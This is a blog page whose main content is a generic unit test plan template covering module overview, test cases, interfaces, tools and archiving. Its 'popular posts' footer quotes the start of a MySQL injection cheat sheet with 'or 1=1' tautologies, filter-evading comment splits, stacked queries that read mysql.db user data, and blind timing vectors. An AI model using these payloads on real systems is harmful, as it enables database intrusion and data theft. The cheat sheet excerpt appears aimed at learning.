Skip to main content

Sample Unit Test Plan Template


Unit Test Plan
Module ID: _________
Program ID: ___________  
1.  Module Overview
Briefly define the purpose of this module.  This may require only a single phrase: i.e.: calculates overtime pay amount, calculates equipment depreciation, performs date edit validation, or determines sick pay eligibility, etc.


1.1  Inputs to Module
[Provide a brief description of the inputs to the module under test.]


1.2  Outputs from Module
[Provide a brief description of the outputs from the module under test.]


1.3  Logic Flow Diagram
[Provide logic flow diagram if additional clarity is required.]


2.  Test Data
(Provide a listing of test cases to be exercised to verify processing logic.)


2.1  Positive Test Cases
[Representative data samples should provide a spectrum of valid field and processing values including "Syntactic" permutations that relate to any data or record format issues.  Each test case should be numbered, indicate the nature of the test to be performed and the expected proper outcome.]


2.2  Negative Test Cases
[The invalid data selection contains all of the negative test conditions associated with the module.  These include numeric values outside thresholds, invalid Characters, invalid or missing header/trailer record, and invalid data structures (missing required elements, unknown elements, etc.)


3.  Interface Modules
[Identify the modules that interface with this module indicating the nature of the interface: outputs data to, receives input data from, internal program interface, external program interface, etc.  Identify sequencing required for subsequent string tests or sub-component integration tests.]


4.  Test Tools
[Identify any tools employed to conduct unit testing.  Specify any stubs or utility programs developed or used to invoke tests.  Identify names and locations of these aids for future regression testing.  If data supplied from unit test of coupled module, specify module relationship.]


5.  Archive Plan
[Specify how and where data is archived for use in subsequent unit tests.  Define any procedures required to obtain access to data or tools used in the testing effort.  The unit test plans are normally archived with the corresponding module specifications.]

6.  Updates
[Define how updates to the plan will be identified.  Updates may be required due to enhancements, requirements changes, etc.  The same unit test plan should be re-used with revised or appended test cases identified in the update section.]




Thanks
Priyadarshan Mohanty
Call Me - +919937008808
Mindfire Solutions
.


My profiles: Facebook LinkedIn Twitter Blogger
Contact me: Google Talk/ mohanty.priyadarshan Skype/ priyadarshan.mohanty Y! messenger/ priyadarshanm
TwitterLatest tweet: Updates @ http://bit.ly/ckQLlW
 

Comments

Popular posts from this blog

Examples MYSQL injections

  MySQL Injection Cheat Sheet Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0); Math SELECT FLOOR(7 + ( RAND () * 5)); SELECT ROUND(23.298, -1); Misc SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc'); Benchmark SELECT BENCHMARK(10000000,ENCODE('abc','123')); ...

Cross-Site Scripting (XSS) - The Internet is Definitely a More Dangerous Place

Phishing schemes are about to get a whole lot easier. Targeted attacks are much more likely to work now than ever before. Cookies stored on your computer can be retrieved by bad guys half a world away. Even big search engine companies like Google and Yahoo are shaking in their boots. What happened? The bad guys have discovered Cross-Site Scripting (XSS) and the Internet has sudden become a lot more dangerous. Through the magic of Cross-Site Scripting (XSS) even professional security people will have a hard time recognizing a phishing message. XSS also allows for the theft of cookies, and thus personal information and possibly passwords, stored on your computer. XSS may also have a detrimental affect on public search engine results and the trust we put in search results. This and much more is covered in this article. We've tried to boil things down so the subject is easy to understand. At the same time several examples are given showing just how bad XSS can be. Hopefully by the end...

BUG TRIAGE

Bug Triage– Severity & Priority "Triage" is a medical term. It refers to dividing wounded or sick people into three categories: those who will die no matter what you do, those who will recover even if unaided, and those who will recover only if aided. In a situation where there's too much to do, you must concentrate on the third group. Bug Triage Meetings (sometimes called Bug Councils) are project meetings in which open bugs are divided into categories. The most important distinction is between bugs that will not be fixed in this release and those that will be There are three categories for the medical usage, software also three categories - bugs to fix now, bugs to fix later, and bugs we'll never fix Triaging a bug involves: Making sure the bug has enough information for the developers and makes sense Making sure the bug is filed in the correct place Making sure the bug has sensible "Severity" and "Priority" fields Let us see wh...